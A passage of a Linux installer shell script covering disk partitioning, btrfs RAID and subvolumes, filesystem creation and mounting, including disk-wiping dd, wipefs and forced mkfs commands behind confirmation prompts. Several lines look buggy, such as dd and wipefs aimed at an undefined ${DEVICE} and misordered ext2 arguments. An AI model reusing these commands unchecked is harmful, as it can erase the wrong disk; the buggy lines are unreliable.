mkdir -p "${DESTDIR}/${UEFISYS_MOUNTPOINT}"
if [[ "$(${_LSBLK} FSTYPE ${UEFISYS_PART})" == "vfat" ]]; then
mount -o rw,flush -t vfat "${UEFISYS_PART}" "${DESTDIR}/${UEFISYS_MOUNTPOINT}"
else
DIALOG --msgbox "${UEFISYS_PART} is not formatted using FAT filesystem. Setup will go ahead but there might be issues using non-FAT FS for EFISYS partition." 0 0
mount -o rw "${UEFISYS_PART}" "${DESTDIR}/${UEFISYS_MOUNTPOINT}"
fi
mkdir -p "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI" || true
else
DIALOG --msgbox "Setup did not find any EFISYS partition in ${DISC}. Please create a 1 GB FAT32 partition with gdisk type code EFOO and try again." 0 0
return 1
fi
}
partition() {
# disable swap and all mounted partitions, umount / last!
_umountall
# activate dmraid
activate_dmraid
# check on encrypted devices, else weird things can happen!
_stopluks
# check on raid devices, else weird things can happen during partitioning!
_stopmd
# check on lvm devices, else weird things can happen during partitioning!
_stoplvm
# update dmraid
! [[ "$(dmraid_devices)" = "" ]] && _dmraid_update
# switch for mbr usage
set_guid
# Select disk to partition
DISCS=$(finddisks _)
DISCS="${DISCS} OTHER _ DONE +"
DIALOG --cr-wrap --msgbox "Available Disks:\n\n$(_getavaildisks)\n" 0 0
DISC=""
while true; do
# Prompt the user with a list of known disks
DIALOG --menu "Select the disk you want to partition\n(select DONE when finished)" 14 55 7 ${DISCS} 2>${ANSWER} || return 1
DISC=$(cat ${ANSWER})
if [[ "${DISC}" == "OTHER" ]]; then
DIALOG --inputbox "Enter the full path to the device you wish to partition" 8 65 "/dev/sda" 2>${ANSWER} || DISC=""
DISC=$(cat ${ANSWER})
fi
# Leave our loop if the user is done partitioning
[[ "${DISC}" == "DONE" ]] && break
MSDOS_DETECTED=""
if ! [[ "${DISC}" == "" ]]; then
if [[ "${GUIDPARAMETER}" == "yes" ]]; then
CHECK_BIOS_BOOT_GRUB=""
CHECK_UEFISYS_PART=""
RUN_CGDISK="1"
check_gpt
else
[[ "$(${_BLKID} -p -i -o value -s PTTYPE ${DISC})" == "dos" ]] && MSDOS_DETECTED="1"
if [[ "${MSDOS_DETECTED}" == "" ]]; then
DIALOG --defaultno --yesno "Setup detected no MS-DOS partition table on ${DISC}.\nDo you want to create a MS-DOS partition table now on ${DISC}?\n\n${DISC} will be COMPLETELY ERASED! Are you absolutely sure?" 0 0 || return 1
# clean partitiontable to avoid issues!
dd if=/dev/zero of=${DEVICE} bs=512 count=2048 >/dev/null 2>&1
wipefs -a ${DEVICE} /dev/null 2>&1
parted -a optimal -s ${DISC} mktable msdos >${LOG}
fi
# Partition disc
DIALOG --msgbox "Now you'll be put into the parted shell where you can partition your storage drive. You should make a swap partition and as many data partitions as you will need.\n\nShort command list:\n- 'help' to get help text\n- 'print' to show partition table\n- 'mkpart' for new partition\n- 'rm' for deleting a partition\n- 'quit' to leave parted\n\nNOTE: parted may tell you to reboot after creating partitions. If you need to reboot, just re-enter this install program, skip this step and go on." 18 70
clear
## Use parted for correct alignment, cfdisk does not align correct!
parted ${DISC} print
parted ${DISC}
fi
fi
done
# update dmraid
_dmraid_update
NEXTITEM="4"
S_PART=1
}
# scan and update btrfs devices
btrfs_scan() {
btrfs device scan >/dev/null 2>&1
}
# mount btrfs for checks
mount_btrfs() {
btrfs_scan
BTRFSMP="$(mktemp -d /tmp/brtfsmp.XXXX)"
mount ${PART} ${BTRFSMP}
}
# unmount btrfs after checks done
umount_btrfs() {
umount ${BTRFSMP}
rm -r ${BTRFSMP}
}
# Set BTRFS_DEVICES on detected btrfs devices
find_btrfs_raid_devices() {
btrfs_scan
if [[ "${DETECT_CREATE_FILESYSTEM}" = "no" && "${FSTYPE}" = "btrfs" ]]; then
for i in $(btrfs filesystem show ${PART} | cut -d " " -f 11); do
BTRFS_DEVICES="${BTRFS_DEVICES}#${i}"
done
fi
}
find_btrfs_raid_bootloader_devices() {
btrfs_scan
BTRFS_COUNT=1
if [[ "$(${_LSBLK} FSTYPE ${bootdev})" = "btrfs" ]]; then
BTRFS_DEVICES=""
for i in $(btrfs filesystem show ${bootdev} | cut -d " " -f 11); do
BTRFS_DEVICES="${BTRFS_DEVICES}#${i}"
BTRFS_COUNT=$((${BTRFS_COUNT}+1))
done
fi
}
# find btrfs subvolume
find_btrfs_subvolume() {
if [[ "${DETECT_CREATE_FILESYSTEM}" = "no" ]]; then
# existing btrfs subvolumes
mount_btrfs
for i in $(btrfs subvolume list ${BTRFSMP} | cut -d " " -f 9); do
echo ${i}
[[ "${1}" ]] && echo ${1}
done
umount_btrfs
fi
}
find_btrfs_bootloader_subvolume() {
BTRFS_SUBVOLUME_COUNT=1
if [[ "$(${_LSBLK} FSTYPE ${bootdev})" = "btrfs" ]]; then
BTRFS_SUBVOLUMES=""
PART="${bootdev}"
mount_btrfs
for i in $(btrfs subvolume list ${BTRFSMP} | cut -d " " -f 7); do
BTRFS_SUBVOLUMES="${BTRFS_SUBVOLUMES}#${i}"
BTRFS_SUBVOLUME_COUNT=$((${BTRFS_COUNT}+1))
done
umount_btrfs
fi
}
# subvolumes already in use
subvolumes_in_use() {
SUBVOLUME_IN_USE=""
for i in $(grep ${PART}[:#] /tmp/.parts); do
if [[ "$(echo ${i} | grep ":btrfs:")" ]]; then
SUBVOLUME_IN_USE="${SUBVOLUME_IN_USE} $(echo ${i} | cut -d: -f 9)"
fi
done
}
# ask for btrfs compress option
btrfs_compress() {
BTRFS_COMPRESS="NONE"
BTRFS_COMPRESSLEVELS="lzo - zlib -"
if [[ "${BTRFS_SUBVOLUME}" = "NONE" ]]; then
DIALOG --yesno "Would you like to compress the data on ${PART}?" 0 0 && BTRFS_COMPRESS="compress"
else
DIALOG --yesno "Would you like to compress the data on ${PART} subvolume=${BTRFS_SUBVOLUME}?" 0 0 && BTRFS_COMPRESS="compress"
fi
if [[ "${BTRFS_COMPRESS}" = "compress" ]]; then
DIALOG --menu "Select the compression method you want to use" 21 50 9 ${BTRFS_COMPRESSLEVELS} 2>${ANSWER} || return 1
BTRFS_COMPRESS="compress=$(cat ${ANSWER})"
fi
}
# values that are needed for fs creation
clear_fs_values() {
: >/tmp/.btrfs-devices
DOMKFS="no"
LABEL_NAME=""
FS_OPTIONS=""
BTRFS_DEVICES=""
BTRFS_LEVEL=""
BTRFS_SUBVOLUME=""
DOSUBVOLUME=""
BTRFS_COMPRESS=""
}
# do not ask for btrfs filesystem creation, if already prepared for creation!
check_btrfs_filesystem_creation() {
DETECT_CREATE_FILESYSTEM="no"
SKIP_FILESYSTEM="no"
SKIP_ASK_SUBVOLUME="no"
for i in $(grep ${PART}[:#] /tmp/.parts); do
if [[ "$(echo ${i} | grep ":btrfs:")" ]]; then
FSTYPE="btrfs"
SKIP_FILESYSTEM="yes"
# check on filesystem creation, skip subvolume asking then!
[[ "$(echo ${i} | cut -d: -f 4 | grep yes)" ]] && DETECT_CREATE_FILESYSTEM="yes"
[[ "${DETECT_CREATE_FILESYSTEM}" = "yes" ]] && SKIP_ASK_SUBVOLUME="yes"
fi
done
}
# remove devices with no subvolume from list and generate raid device list
btrfs_parts() {
if [[ -s /tmp/.btrfs-devices ]]; then
BTRFS_DEVICES=""
for i in $(cat /tmp/.btrfs-devices); do
BTRFS_DEVICES="${BTRFS_DEVICES}#${i}"
# remove device if no subvolume is used!
[[ "${BTRFS_SUBVOLUME}" = "NONE" ]] && PARTS="$(echo ${PARTS} | sed -e "s#${i}\ _##g")"
done
else
[[ "${BTRFS_SUBVOLUME}" = "NONE" ]] && PARTS="$(echo ${PARTS} | sed -e "s#${PART}\ _##g")"
fi
}
# choose raid level to use on btrfs device
btrfs_raid_level() {
BTRFS_RAIDLEVELS="NONE - raid0 - raid1 - raid5 - raid6 - raid10 - single -"
BTRFS_RAID_FINISH=""
BTRFS_LEVEL=""
BTRFS_DEVICE="${PART}"
: >/tmp/.btrfs-devices
DIALOG --msgbox "BTRFS DATA RAID OPTIONS:\n\nRAID5/6 are for testing purpose. Use with extreme care!\n\nIf you don't need this feature select NONE." 0 0
while [[ "${BTRFS_RAID_FINISH}" != "DONE" ]]; do
DIALOG --menu "Select the raid data level you want to use" 21 50 9 ${BTRFS_RAIDLEVELS} 2>${ANSWER} || return 1
BTRFS_LEVEL=$(cat ${ANSWER})
if [[ "${BTRFS_LEVEL}" = "NONE" ]]; then
echo "${BTRFS_DEVICE}" >>/tmp/.btrfs-devices
break
else
# take selected device as 1st device, add additional devices in part below.
select_btrfs_raid_devices
fi
done
}
# select btrfs raid devices
select_btrfs_raid_devices () {
# show all devices with sizes
# DIALOG --msgbox "DISKS:\n$(_getavaildisks)\n\nPARTITIONS:\n$(_getavailpartitions)" 0 0
# select the second device to use, no missing option available!
: >/tmp/.btrfs-devices
BTRFS_PART="${BTRFS_DEVICE}"
BTRFS_PARTS="${PARTS}"
echo "${BTRFS_PART}" >>/tmp/.btrfs-devices
BTRFS_PARTS="$(echo ${BTRFS_PARTS} | sed -e "s#${BTRFS_PART}\ _##g")"
RAIDNUMBER=2
DIALOG --menu "Select device ${RAIDNUMBER}" 21 50 13 ${BTRFS_PARTS} 2>${ANSWER} || return 1
BTRFS_PART=$(cat ${ANSWER})
echo "${BTRFS_PART}" >>/tmp/.btrfs-devices
while [[ "${BTRFS_PART}" != "DONE" ]]; do
BTRFS_DONE=""
RAIDNUMBER=$((${RAIDNUMBER} + 1))
# RAID5 needs 3 devices
# RAID6, RAID10 need 4 devices!
[[ "${RAIDNUMBER}" -ge 3 && ! "${BTRFS_LEVEL}" = "raid10" && ! "${BTRFS_LEVEL}" = "raid6" && ! "${BTRFS_LEVEL}" = "raid5" ]] && BTRFS_DONE="DONE _"
[[ "${RAIDNUMBER}" -ge 4 && "${BTRFS_LEVEL}" = "raid5" ]] && BTRFS_DONE="DONE _"
[[ "${RAIDNUMBER}" -ge 5 && "${BTRFS_LEVEL}" = "raid10" || "${BTRFS_LEVEL}" = "raid6" ]] && BTRFS_DONE="DONE _"
# clean loop from used partition and options
BTRFS_PARTS="$(echo ${BTRFS_PARTS} | sed -e "s#${BTRFS_PART}\ _##g")"
# add more devices
DIALOG --menu "Select device ${RAIDNUMBER}" 21 50 13 ${BTRFS_PARTS} ${BTRFS_DONE} 2>${ANSWER} || return 1
BTRFS_PART=$(cat ${ANSWER})
[[ "${BTRFS_PART}" = "DONE" ]] && break
echo "${BTRFS_PART}" >>/tmp/.btrfs-devices
done
# final step ask if everything is ok?
DIALOG --yesno "Would you like to create btrfs raid data like this?\n\nLEVEL:\n${BTRFS_LEVEL}\n\nDEVICES:\n$(for i in $(cat /tmp/.btrfs-devices); do echo "${i}\n"; done)" 0 0 && BTRFS_RAID_FINISH="DONE"
}
# prepare new btrfs device
prepare_btrfs() {
btrfs_raid_level || return 1
prepare_btrfs_subvolume || return 1
}
# prepare btrfs subvolume
prepare_btrfs_subvolume() {
DOSUBVOLUME="no"
BTRFS_SUBVOLUME="NONE"
if [[ "${SKIP_ASK_SUBVOLUME}" = "no" ]]; then
DIALOG --defaultno --yesno "Would you like to create a new subvolume on ${PART}?" 0 0 && DOSUBVOLUME="yes"
else
DOSUBVOLUME="yes"
fi
if [[ "${DOSUBVOLUME}" = "yes" ]]; then
BTRFS_SUBVOLUME="NONE"
while [[ "${BTRFS_SUBVOLUME}" = "NONE" ]]; do
DIALOG --inputbox "Enter the SUBVOLUME name for the device, keep it short\nand use no spaces or special\ncharacters." 10 65 2>${ANSWER} || return 1
BTRFS_SUBVOLUME=$(cat ${ANSWER})
check_btrfs_subvolume
done
else
BTRFS_SUBVOLUME="NONE"
fi
}
# check btrfs subvolume
check_btrfs_subvolume(){
[[ "${DOMKFS}" = "yes" && "${FSTYPE}" = "btrfs" ]] && DETECT_CREATE_FILESYSTEM="yes"
if [[ "${DETECT_CREATE_FILESYSTEM}" = "no" ]]; then
mount_btrfs
for i in $(btrfs subvolume list ${BTRFSMP} | cut -d " " -f 7); do
if [[ "$(echo ${i} | grep "${BTRFS_SUBVOLUME}"$)" ]]; then
DIALOG --msgbox "ERROR: You have defined 2 identical SUBVOLUME names or an empty name! Please enter another name." 8 65
BTRFS_SUBVOLUME="NONE"
fi
done
umount_btrfs
else
subvolumes_in_use
if [[ "$(echo ${SUBVOLUME_IN_USE} | egrep "${BTRFS_SUBVOLUME}")" ]]; then
DIALOG --msgbox "ERROR: You have defined 2 identical SUBVOLUME names or an empty name! Please enter another name." 8 65
BTRFS_SUBVOLUME="NONE"
fi
fi
}
# create btrfs subvolume
create_btrfs_subvolume() {
mount_btrfs
btrfs subvolume create ${BTRFSMP}/${_btrfssubvolume} >${LOG}
# change permission from 700 to 755
# to avoid warnings during package installation
chmod 755 ${BTRFSMP}/${_btrfssubvolume}
umount_btrfs
}
# choose btrfs subvolume from list
choose_btrfs_subvolume () {
BTRFS_SUBVOLUME="NONE"
SUBVOLUMES_DETECTED="no"
SUBVOLUMES=$(find_btrfs_subvolume _)
# check if subvolumes are present
[[ -n "${SUBVOLUMES}" ]] && SUBVOLUMES_DETECTED="yes"
subvolumes_in_use
for i in ${SUBVOLUME_IN_USE}; do
SUBVOLUMES=$(echo ${SUBVOLUMES} | sed -e "s#${i}\ _##g")
done
if [[ -n "${SUBVOLUMES}" ]]; then
DIALOG --menu "Select the subvolume to mount" 21 50 13 ${SUBVOLUMES} 2>${ANSWER} || return 1
BTRFS_SUBVOLUME=$(cat ${ANSWER})
else
if [[ "${SUBVOLUMES_DETECTED}" = "yes" ]]; then
DIALOG --msgbox "ERROR: All subvolumes of the device are already in use. Switching to create a new one now." 8 65
SKIP_ASK_SUBVOLUME=yes
prepare_btrfs_subvolume || return 1
fi
fi
}
# boot on btrfs subvolume is not supported
check_btrfs_boot_subvolume() {
if [[ "${MP}" = "/boot" && "${FSTYPE}" = "btrfs" && ! "${BTRFS_SUBVOLUME}" = "NONE" ]]; then
DIALOG --msgbox "ERROR: \n/boot on a btrfs subvolume is not supported by any bootloader yet!" 8 65
FILESYSTEM_FINISH="no"
fi
}
# btrfs subvolume menu
btrfs_subvolume() {
FILESYSTEM_FINISH=""
if [[ "${FSTYPE}" = "btrfs" && "${DOMKFS}" = "no" ]]; then
if [[ "${ASK_MOUNTPOINTS}" = "1" ]]; then
# create subvolume if requested
# choose btrfs subvolume if present
prepare_btrfs_subvolume || return 1
if [[ "${BTRFS_SUBVOLUME}" = "NONE" ]]; then
choose_btrfs_subvolume || return 1
fi
else
# use device if no subvolume is present
choose_btrfs_subvolume || return 1
fi
btrfs_compress
fi
FILESYSTEM_FINISH="yes"
}
# add ssd mount options, set deadline scheduler
ssd_optimization() {
# ext4, jfs, xfs, btrfs, nilfs2, f2fs have ssd mount option support
ssd_mount_options=""
if [[ "$(echo ${_fstype} | egrep 'ext4|jfs|btrfs|xfs|nilfs2|f2fs')" ]]; then
# check all underlying devices on ssd
for i in $(${_LSBLK} NAME,TYPE ${device} -s | grep "disk$" | cut -d' ' -f 1); do
# check for ssd
if [[ "$(cat /sys/block/$(basename ${i})/queue/rotational)" == "0" ]]; then
ssd_mount_options="noatime"
# check for trim
[[ "$(hdparm -I ${i} | grep TRIM)" && ! "$(echo ${ssd_mount_options} | grep "discard")" ]] && ssd_mount_options="${ssd_mount_options} discard"
# check on btrfs
[[ "${_fstype}" = "btrfs" && ! "$(echo ${ssd_mount_options} | grep "ssd")" ]] && ssd_mount_options="${ssd_mount_options} ssd,inode_cache"
fi
done
fi
}
select_filesystem() {
FILESYSTEM_FINISH=""
# don't allow vfat as / filesystem, it will not work!
# don't allow ntfs as / filesystem, this is stupid!
FSOPTS=""
[[ "$(which mkfs.ext2 2>/dev/null)" ]] && FSOPTS="${FSOPTS} ext2 Ext2"
[[ "$(which mkfs.ext3 2>/dev/null)" ]] && FSOPTS="${FSOPTS} ext3 Ext3"
[[ "$(which mkfs.ext4 2>/dev/null)" ]] && FSOPTS="${FSOPTS} ext4 Ext4"
[[ "$(which mkfs.btrfs 2>/dev/null)" ]] && FSOPTS="${FSOPTS} btrfs Btrfs-(Experimental)"
[[ "$(which mkfs.nilfs2 2>/dev/null)" ]] && FSOPTS="${FSOPTS} nilfs2 Nilfs2-(Experimental)"
[[ "$(which mkfs.f2fs 2>/dev/null)" ]] && FSOPTS="${FSOPTS} f2fs F2FS-(Experimental)"
[[ "$(which mkreiserfs 2>/dev/null)" ]] && FSOPTS="${FSOPTS} reiserfs Reiser3"
[[ "$(which mkfs.xfs 2>/dev/null)" ]] && FSOPTS="${FSOPTS} xfs XFS"
[[ "$(which mkfs.jfs 2>/dev/null)" ]] && FSOPTS="${FSOPTS} jfs JFS"
[[ "$(which mkfs.ntfs 2>/dev/null)" && "${DO_ROOT}" = "DONE" ]] && FSOPTS="${FSOPTS} ntfs-3g NTFS"
[[ "$(which mkfs.vfat 2>/dev/null)" && "${DO_ROOT}" = "DONE" ]] && FSOPTS="${FSOPTS} vfat VFAT"
DIALOG --menu "Select a filesystem for ${PART}" 21 50 13 ${FSOPTS} 2>${ANSWER} || return 1
FSTYPE=$(cat ${ANSWER})
}
enter_mountpoint() {
FILESYSTEM_FINISH=""
MP=""
while [[ "${MP}" = "" ]]; do
DIALOG --inputbox "Enter the mountpoint for ${PART}" 8 65 "/boot" 2>${ANSWER} || return 1
MP=$(cat ${ANSWER})
if grep ":${MP}:" /tmp/.parts; then
DIALOG --msgbox "ERROR: You have defined 2 identical mountpoints! Please select another mountpoint." 8 65
MP=""
fi
done
}
# set sane values for paramaters, if not already set
check_mkfs_values() {
# Set values, to not confuse mkfs call!
[[ "${FS_OPTIONS}" = "" ]] && FS_OPTIONS="NONE"
[[ "${BTRFS_DEVICES}" = "" ]] && BTRFS_DEVICES="NONE"
[[ "${BTRFS_LEVEL}" = "" ]] && BTRFS_LEVEL="NONE"
[[ "${BTRFS_SUBVOLUME}" = "" ]] && BTRFS_SUBVOLUME="NONE"
[[ "${DOSUBVOLUME}" = "" ]] && DOSUBVOLUME="no"
[[ "${LABEL_NAME}" = "" && -n "$(${_LSBLK} LABEL ${PART})" ]] && LABEL_NAME="$(${_LSBLK} LABEL ${PART})"
[[ "${LABEL_NAME}" = "" ]] && LABEL_NAME="NONE"
}
create_filesystem() {
FILESYSTEM_FINISH=""
LABEL_NAME=""
FS_OPTIONS=""
BTRFS_DEVICES=""
BTRFS_LEVEL=""
DIALOG --yesno "Would you like to create a filesystem on ${PART}?\n\n(This will overwrite existing data!)" 0 0 && DOMKFS="yes"
if [[ "${DOMKFS}" = "yes" ]]; then
while [[ "${LABEL_NAME}" = "" ]]; do
DIALOG --inputbox "Enter the LABEL name for the device, keep it short\n(not more than 12 characters) and use no spaces or special\ncharacters." 10 65 \
"$(${_LSBLK} LABEL ${PART})" 2>${ANSWER} || return 1
LABEL_NAME=$(cat ${ANSWER})
if grep ":${LABEL_NAME}$" /tmp/.parts; then
DIALOG --msgbox "ERROR: You have defined 2 identical LABEL names! Please enter another name." 8 65
LABEL_NAME=""
fi
done
if [[ "${FSTYPE}" = "btrfs" ]]; then
prepare_btrfs || return 1
btrfs_compress
fi
DIALOG --inputbox "Enter additional options to the filesystem creation utility.\nUse this field only, if the defaults are not matching your needs,\nelse just leave it empty." 10 70 2>${ANSWER} || return 1
FS_OPTIONS=$(cat ${ANSWER})
fi
FILESYSTEM_FINISH="yes"
}
mountpoints() {
NAME_SCHEME_PARAMETER_RUN=""
while [[ "${PARTFINISH}" != "DONE" ]]; do
activate_special_devices
: >/tmp/.device-names
: >/tmp/.fstab
: >/tmp/.parts
#
# Select mountpoints
#
DIALOG --cr-wrap --msgbox "Available partitions:\n\n$(_getavailpartitions)\n" 0 0
PARTS=$(findpartitions _)
DO_SWAP=""
while [[ "${DO_SWAP}" != "DONE" ]]; do
FSTYPE="swap"
DIALOG --menu "Select the partition to use as swap" 21 50 13 NONE - ${PARTS} 2>${ANSWER} || return 1
PART=$(cat ${ANSWER})
if [[ "${PART}" != "NONE" ]]; then
clear_fs_values
if [[ "${ASK_MOUNTPOINTS}" = "1" ]]; then
create_filesystem
else
FILESYSTEM_FINISH="yes"
fi
else
FILESYSTEM_FINISH="yes"
fi
[[ "${FILESYSTEM_FINISH}" = "yes" ]] && DO_SWAP=DONE
done
check_mkfs_values
if [[ "${PART}" != "NONE" ]]; then
PARTS="$(echo ${PARTS} | sed -e "s#${PART}\ _##g")"
echo "${PART}:swap:swap:${DOMKFS}:${LABEL_NAME}:${FS_OPTIONS}:${BTRFS_DEVICES}:${BTRFS_LEVEL}:${BTRFS_SUBVOLUME}:${DOSUBVOLUME}:${BTRFS_COMPRESS}" >>/tmp/.parts
fi
DO_ROOT=""
while [[ "${DO_ROOT}" != "DONE" ]]; do
DIALOG --menu "Select the partition to mount as /" 21 50 13 ${PARTS} 2>${ANSWER} || return 1
PART=$(cat ${ANSWER})
PART_ROOT=${PART}
# Select root filesystem type
FSTYPE="$(${_LSBLK} FSTYPE ${PART})"
# clear values first!
clear_fs_values
check_btrfs_filesystem_creation
if [[ "${ASK_MOUNTPOINTS}" = "1" && "${SKIP_FILESYSTEM}" = "no" ]]; then
select_filesystem && create_filesystem && btrfs_subvolume
else
btrfs_subvolume
fi
[[ "${FILESYSTEM_FINISH}" = "yes" ]] && DO_ROOT=DONE
done
find_btrfs_raid_devices
btrfs_parts
check_mkfs_values
echo "${PART}:${FSTYPE}:/:${DOMKFS}:${LABEL_NAME}:${FS_OPTIONS}:${BTRFS_DEVICES}:${BTRFS_LEVEL}:${BTRFS_SUBVOLUME}:${DOSUBVOLUME}:${BTRFS_COMPRESS}" >>/tmp/.parts
! [[ "${FSTYPE}" = "btrfs" ]] && PARTS="$(echo ${PARTS} | sed -e "s#${PART}\ _##g")"
#
# Additional partitions
#
while [[ "${PART}" != "DONE" ]]; do
DO_ADDITIONAL=""
while [[ "${DO_ADDITIONAL}" != "DONE" ]]; do
DIALOG --menu "Select any additional partitions to mount under your new root (select DONE when finished)" 21 52 13 ${PARTS} DONE _ 2>${ANSWER} || return 1
PART=$(cat ${ANSWER})
if [[ "${PART}" != "DONE" ]]; then
FSTYPE="$(${_LSBLK} FSTYPE ${PART})"
# clear values first!
clear_fs_values
check_btrfs_filesystem_creation
# Select a filesystem type
if [[ "${ASK_MOUNTPOINTS}" = "1" && "${SKIP_FILESYSTEM}" = "no" ]]; then
enter_mountpoint && select_filesystem && create_filesystem && btrfs_subvolume
else
enter_mountpoint
btrfs_subvolume
fi
check_btrfs_boot_subvolume
else
FILESYSTEM_FINISH="yes"
fi
[[ "${FILESYSTEM_FINISH}" = "yes" ]] && DO_ADDITIONAL="DONE"
done
if [[ "${PART}" != "DONE" ]]; then
find_btrfs_raid_devices
btrfs_parts
check_mkfs_values
echo "${PART}:${FSTYPE}:${MP}:${DOMKFS}:${LABEL_NAME}:${FS_OPTIONS}:${BTRFS_DEVICES}:${BTRFS_LEVEL}:${BTRFS_SUBVOLUME}:${DOSUBVOLUME}:${BTRFS_COMPRESS}" >>/tmp/.parts
! [[ "${FSTYPE}" = "btrfs" ]] && PARTS="$(echo ${PARTS} | sed -e "s#${PART}\ _##g")"
fi
done
DIALOG --yesno "Would you like to create and mount the filesytems like this?\n\nSyntax\n------\nDEVICE:TYPE:MOUNTPOINT:FORMAT:LABEL:FSOPTIONS:BTRFS_DETAILS\n\n$(for i in $(cat /tmp/.parts | sed -e 's, ,#,g'); do echo "${i}\n";done)" 0 0 && PARTFINISH="DONE"
done
# disable swap and all mounted partitions
_umountall
if [[ "${NAME_SCHEME_PARAMETER_RUN}" = "" ]]; then
set_device_name_scheme || return 1
fi
printk off
for line in $(cat /tmp/.parts); do
PART=$(echo ${line} | cut -d: -f 1)
FSTYPE=$(echo ${line} | cut -d: -f 2)
MP=$(echo ${line} | cut -d: -f 3)
DOMKFS=$(echo ${line} | cut -d: -f 4)
LABEL_NAME=$(echo ${line} | cut -d: -f 5)
FS_OPTIONS=$(echo ${line} | cut -d: -f 6)
BTRFS_DEVICES=$(echo ${line} | cut -d: -f 7)
BTRFS_LEVEL=$(echo ${line} | cut -d: -f 8)
BTRFS_SUBVOLUME=$(echo ${line} | cut -d: -f 9)
DOSUBVOLUME=$(echo ${line} | cut -d: -f 10)
BTRFS_COMPRESS=$(echo ${line} | cut -d: -f 11)
if [[ "${DOMKFS}" = "yes" ]]; then
if [[ "${FSTYPE}" = "swap" ]]; then
DIALOG --infobox "Creating and activating swapspace on ${PART}" 0 0
else
DIALOG --infobox "Creating ${FSTYPE} on ${PART},\nmounting to ${DESTDIR}${MP}" 0 0
fi
_mkfs yes ${PART} ${FSTYPE} ${DESTDIR} ${MP} ${LABEL_NAME} ${FS_OPTIONS} ${BTRFS_DEVICES} ${BTRFS_LEVEL} ${BTRFS_SUBVOLUME} ${DOSUBVOLUME} ${BTRFS_COMPRESS} || return 1
else
if [[ "${FSTYPE}" = "swap" ]]; then
DIALOG --infobox "Activating swapspace on ${PART}" 0 0
else
DIALOG --infobox "Mounting ${FSTYPE} on ${PART} to ${DESTDIR}${MP}" 0 0
fi
_mkfs no ${PART} ${FSTYPE} ${DESTDIR} ${MP} ${LABEL_NAME} ${FS_OPTIONS} ${BTRFS_DEVICES} ${BTRFS_LEVEL} ${BTRFS_SUBVOLUME} ${DOSUBVOLUME} ${BTRFS_COMPRESS} || return 1
fi
sleep 1
done
printk on
DIALOG --msgbox "Partitions were successfully mounted." 0 0
NEXTITEM="5"
S_MKFS=1
}
# _mkfs()
# Create and mount filesystems in our destination system directory.
#
# args:
# domk: Whether to make the filesystem or use what is already there
# device: Device filesystem is on
# fstype: type of filesystem located at the device (or what to create)
# dest: Mounting location for the destination system
# mountpoint: Mount point inside the destination system, e.g. '/boot'
# returns: 1 on failure
_mkfs() {
local _domk=${1}
local _device=${2}
local _fstype=${3}
local _dest=${4}
local _mountpoint=${5}
local _labelname=${6}
local _fsoptions=${7}
local _btrfsdevices="$(echo ${8} | sed -e 's|#| |g')"
local _btrfslevel=${9}
local _btrfssubvolume=${10}
local _dosubvolume=${11}
local _btrfscompress=${12}
# correct empty entries
[[ "${_fsoptions}" = "NONE" ]] && _fsoptions=""
[[ "${_btrfscompress}" = "NONE" ]] && _btrfscompress=""
[[ "${_btrfssubvolume}" = "NONE" ]] && _btrfssubvolume=""
# add btrfs raid level, if needed
[[ ! "${_btrfslevel}" = "NONE" && "${_fstype}" = "btrfs" ]] && _fsoptions="${_fsoptions} -m ${_btrfslevel} -d ${_btrfslevel}"
# add btrfs options, minimum requirement linux 3.14 -O no-holes
[[ "${_fstype}" = "btrfs" ]] && _fsoptions="${_fsoptions} -O no-holes"
# we have two main cases: "swap" and everything else.
if [[ "${_fstype}" = "swap" ]]; then
swapoff ${_device} >/dev/null 2>&1
if [[ "${_domk}" = "yes" ]]; then
mkswap -L ${_labelname} ${_device} >${LOG} 2>&1
if [[ $? != 0 ]]; then
DIALOG --msgbox "Error creating swap: mkswap ${_device}" 0 0
return 1
fi
fi
swapon ${_device} >${LOG} 2>&1
if [[ $? != 0 ]]; then
DIALOG --msgbox "Error activating swap: swapon ${_device}" 0 0
return 1
fi
else
# make sure the fstype is one we can handle
local knownfs=0
for fs in xfs jfs reiserfs ext2 ext3 ext4 f2fs btrfs nilfs2 ntfs-3g vfat; do
[[ "${_fstype}" = "${fs}" ]] && knownfs=1 && break
done
if [[ ${knownfs} -eq 0 ]]; then
DIALOG --msgbox "unknown fstype ${_fstype} for ${_device}" 0 0
return 1
fi
# if we were tasked to create the filesystem, do so
if [[ "${_domk}" = "yes" ]]; then
local ret
case ${_fstype} in
xfs) mkfs.xfs ${_fsoptions} -L ${_labelname} -f ${_device} >${LOG} 2>&1; ret=$? ;;
jfs) yes | mkfs.jfs ${_fsoptions} -L ${_labelname} ${_device} >${LOG} 2>&1; ret=$? ;;
reiserfs) yes | mkreiserfs ${_fsoptions} -l ${_labelname} ${_device} >${LOG} 2>&1; ret=$? ;;
ext2) mkfs.ext2 -F -L ${_fsoptions} ${_labelname} ${_device} >${LOG} 2>&1; ret=$? ;;
ext3) mke2fs -F ${_fsoptions} -L ${_labelname} -t ext3 ${_device} >${LOG} 2>&1; ret=$? ;;
ext4) mke2fs -F ${_fsoptions} -L ${_labelname} -t ext4 ${_device} >${LOG} 2>&1; ret=$? ;;
f2fs) mkfs.f2fs ${_fsoptions} -l ${_labelname} ${_device} >${LOG} 2>&1; ret=$? ;;
btrfs) mkfs.btrfs -f ${_fsoptions} -L ${_labelname} ${_btrfsdevices} >${LOG} 2>&1; ret=$? ;;
nilfs2) mkfs.nilfs2 -f ${_fsoptions} -L ${_labelname} ${_device} >${LOG} 2>&1; ret=$? ;;
ntfs-3g) mkfs.ntfs ${_fsoptions} -L ${_labelname} ${_device} >${LOG} 2>&1; ret=$? ;;
vfat) mkfs.vfat ${_fsoptions} -n ${_labelname} ${_device} >${LOG} 2>&1; ret=$? ;;
# don't handle anything else here, we will error later
esac
if [[ ${ret} != 0 ]]; then
DIALOG --msgbox "Error creating filesystem ${_fstype} on ${_device}" 0 0
return 1
fi
sleep 2
fi
if [[ "${_fstype}" = "btrfs" && -n "${_btrfssubvolume}" && "${_dosubvolume}" = "yes" ]]; then
create_btrfs_subvolume
fi
btrfs_scan
sleep 2
# create our mount directory
mkdir -p ${_dest}${_mountpoint}
# add ssd optimization before mounting
ssd_optimization
_mountoptions=""
# prepare btrfs mount options
[[ -n "${_btrfssubvolume}" ]] && _mountoptions="${_mountoptions} subvol=${_btrfssubvolume}"
[[ -n "${_btrfscompress}" ]] && _mountoptions="${_mountoptions} ${_btrfscompress}"
[[ "${_fstype}" = "btrfs" ]] && _mountoptions="${_mountoptions} autodefrag"
_mountoptions="${_mountoptions} ${ssd_mount_options}"
# eleminate spaces at beginning and end, replace other spaces with ,
